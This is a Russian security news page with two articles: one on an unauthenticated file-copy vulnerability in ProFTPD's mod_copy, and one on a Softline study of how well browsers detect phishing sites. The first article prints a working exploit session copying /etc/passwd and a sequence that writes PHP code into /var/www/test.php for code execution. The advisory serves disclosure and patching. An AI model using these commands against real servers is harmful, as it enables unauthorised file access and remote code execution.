Обнаружена опасная уязвимость в ProFTPD

Обнаружена опасная уязвимость в ProFTPD

В ftp-сервере ProFTPD обнаружена опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд "site cpfr" и "site cpto". Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя.

Уязвимость усугубляется отсутствием возможности отключить mod_copy через файл конфигурации и наличием путей эксплуатации уязвимости, которые могут быть использованы в атаке для организации выполнения кода на web-сервере.

В настоящий момент исправления доступны только в виде патча в git-репозитории проекта. Одновременно для ProFTPD предложена реализация директивы CopyEngine, через которую можно отключить mod_copy без перекомпиляции. В настоящее время в дистрибутивах не зафиксировано обновлений пакетов с устранением проблемы. Оценить появление обновлений в дистрибутивах можно на следующих страницах: RHEL 6, RHEL 7, Ubuntu, Debian, Fedora,openSUSE, SLES, Slackware, Gentoo, CentOS, FreeBSD, пишет opennet.ru.

Пример копирования файла /etc/passwd в /tmp/passwd.copy:

Trying 192.168.3.115...
Connected to 192.168.3.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115]
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful

Пример организации запуска кода на web-сервере:

site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
250 Copy successful

Файл test.php будет содержать данные из потока STDERR, в том числе и указанный в ошибочной команде PHP-код:

2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Тест Softline: Яндекс Браузер выявил 85 из 100 фишинговых сайтов

Эксперты ГК Softline провели ежегодное исследование, чтобы проверить, насколько хорошо популярные браузеры распознают фишинговые сайты — страницы, с помощью которых злоумышленники крадут личные данные пользователей. В тесте участвовали Chrome, Яндекс Браузер, Firefox, Opera, Edge, Safari на iOS, а также предустановленные Samsung Internet и Mi Browser на Android.

Согласно результатам проверки, Яндекс Браузер оказался самым эффективным: десктопная версия обнаружила 85 из 100 мошеннических сайтов, а мобильная — более 75.

Для сравнения, Chrome с антифишинговым расширением на десктопе выявил 44 угрозы, а без него — всего 8. Остальные браузеры показали следующие результаты:

  • Safari — 9 выявленных страниц,
  • Firefox — 8,
  • Opera — 6,
  • Edge — 5.

На платформах Android показатели оказались самыми низкими: Mi Browser определил два фишинговых сайта, а Samsung Internet — всего один. При этом браузеры на iOS продемонстрировали заметное улучшение по сравнению с прошлым годом.

Как проводилось исследование

Тестирование проходило в условиях, максимально приближенных к реальным. На смартфонах использовались физические устройства, а не эмуляторы. В основу легла выборка из 100 актуальных фишинговых страниц, предоставленных сервисом CyberDef от Infosecurity. Сайты с невалидными сертификатами исключались, чтобы результаты не искажались.

Особое внимание уделялось скорости реакции браузеров. Эксперты отправляли на проверку новые фишинговые сайты в течение нескольких часов после их обнаружения — ведь такие страницы живут недолго и часто исчезают уже в первый день.

Кого чаще всего подделывают

Почти половина (46%) фишинговых сайтов имитировала банки и инвестиционные платформы, ещё 13% — страницы соцсетей и мессенджеров, а 12% — опросы и голосования.

По словам специалистов, злоумышленники активно эксплуатируют известные бренды и актуальные темы вроде искусственного интеллекта и криптовалют, а схемы становятся всё сложнее.

«Сегодня мошеннические кампании часто состоят из нескольких этапов: сначала пользователя заманивают под видом розыгрыша или курса, а потом под предлогом оплаты или подтверждения выманивают деньги и данные. Чтобы казаться надёжными, такие сайты нередко показывают фейковые уведомления о “защищённом соединении”», — отмечают эксперты Softline.

Что используют браузеры для защиты

Современные браузеры применяют разные технологии против фишинга. Например, Safe Browsing в Chrome, SmartScreen в Edge и нейросетевые фильтры в Яндекс Браузере.

В отличие от старых систем, которые полагались на «чёрные списки» сайтов, новые механизмы анализируют содержимое страницы в момент загрузки, что помогает быстрее реагировать на появление фальшивых ресурсов.

Главный вывод исследования: даже при развитии встроенных технологий защиты пользователям стоит оставаться внимательными и не вводить личные данные на сомнительных сайтах, особенно если ссылка пришла в сообщении или письме.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru